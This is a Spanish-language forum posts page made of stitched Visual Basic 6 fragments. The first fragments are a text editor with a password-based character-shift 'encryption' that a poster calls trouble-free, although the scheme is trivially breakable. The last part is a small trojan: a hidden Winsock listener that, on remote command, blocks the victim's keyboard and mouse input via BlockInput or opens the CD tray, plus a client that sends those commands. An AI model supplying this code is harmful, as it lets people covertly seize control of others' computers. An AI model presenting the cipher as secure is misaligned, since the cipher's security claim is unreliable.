me confundi en copiarlo es - no +
XD... la encripcion es + y nunca hace problemas
XD... la encripcion es + y nunca hace problemas
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
For x = 1 To MaxText
crypted = crypted & Chr(Asc(Mid(Form1.Texto.Text, x, 1)) + Asc(Mid(pass.Text, y, 1)))
If (y = MaxPass) Then
y = 1
End If
y = y + 1
Next x
Form1.Texto.Text = crypted
crypted = crypted & Chr(Asc(Mid(Form1.Texto.Text, x, 1)) + Asc(Mid(Text1.Text, y, 1)))
Dim File As Integer, txt As String
Private Sub Form_Resize()
On Error GoTo fin
If Form1.Height < 825 Then
Form1.Height = 826
End If
If Form1.Width < 120 Then
Form1.Width = 121
End If
Texto.Height = Form1.Height - 825
Texto.Width = Form1.Width - 120
fin:
End Sub
Private Sub menuDecryptItem_Click()
Load Form3
Form3.Visible = True
End Sub
Private Sub menuEncryptItem_Click()
Load Form2
Form2.Visible = True
End Sub
Private Sub menuExitItem_Click()
End
End Sub
Private Sub menuFontItem_Click()
CD.ShowColor
Texto.ForeColor = CD.Color
End Sub
Private Sub menuNewItem_Click()
Texto.Text = ""
encrypted = 0
End Sub
Private Sub menuOpenItem_Click()
On Error GoTo fin
Dim leng As Long
Dim x As Long
File = FreeFile
CD.Filter = "Text Files (*.txt)|*.txt"
CD.ShowOpen
Open CD.FileName For Binary As #File
txt = Space(LOF(File))
Get #File, , txt
Close File
Texto.Text = txt
fin:
End Sub
Private Sub menuSaveItem_Click()
On Error GoTo fin
File = FreeFile
CD.Filter = "Text Files (*.txt)|*.txt"
CD.ShowSave
Open CD.FileName For Output As #File
Print #File, Texto.Text
Close File
fin:
End Sub
Dim x, MaxText, y, MaxPass As Long, crypted As String
Private Sub CancelButton_Click()
Unload Me
End Sub
Private Sub Form_Load()
Label2.Visible = False
End Sub
Private Sub OKButton_Click()
Label1.Visible = False
Text1.Visible = False
OKButton.Visible = False
CancelButton.Visible = False
Label2.Visible = True
MaxText = Len(Form1.Texto.Text)
MaxPass = Len(Text1.Text)
y = 1
crypted = ""
For x = 1 To MaxText
crypted = crypted & Chr(Asc(Mid(Form1.Texto.Text, x, 1)) + Asc(Mid(Text1.Text, y, 1)))
If (y = MaxPass) Then
y = 1
End If
y = y + 1
Next x
Form1.Texto.Text = crypted
Unload Me
End Sub
Dim x, MaxText, y, MaxPass As Long, decrypted As String
Private Sub CancelButton_Click()
Unload Me
End Sub
Private Sub OKButton_Click()
On Error GoTo fin
Label1.Visible = False
Text1.Visible = False
OKButton.Visible = False
CancelButton.Visible = False
Label2.Visible = True
MaxText = Len(Form1.Texto.Text)
MaxPass = Len(Text1.Text)
y = 1
decrypted = ""
For x = 1 To MaxText
decrypted = decrypted & Chr(Asc(Mid(Form1.Texto.Text, x, 1)) - Asc(Mid(Text1.Text, y, 1)))
If (y = MaxPass) Then
y = 1
End If
y = y + 1
Next x
Form1.Texto.Text = decrypted
Unload Me
fin:
Unload Me
End Sub
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Private Sub Form_Load()
Me.Hide
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim colgar As String
Dim abrir As String
Winsock1.GetData datos
colgar = "colgar"
abrir = "abrir"
If datos = colgar Then
BlockInput True
End If
If datos = abrir Then
Dim res As Long, ReturnString As String * 127
res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
End If
End Sub
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub
Private Sub Command2_Click()
Dim colgar As String
colgar = "colgar"
Winsock1.SendData colgar
End Sub
Private Sub Command3_Click()
Dim abrir As String
abrir = "abrir"
Winsock1.SendData abrir
End Sub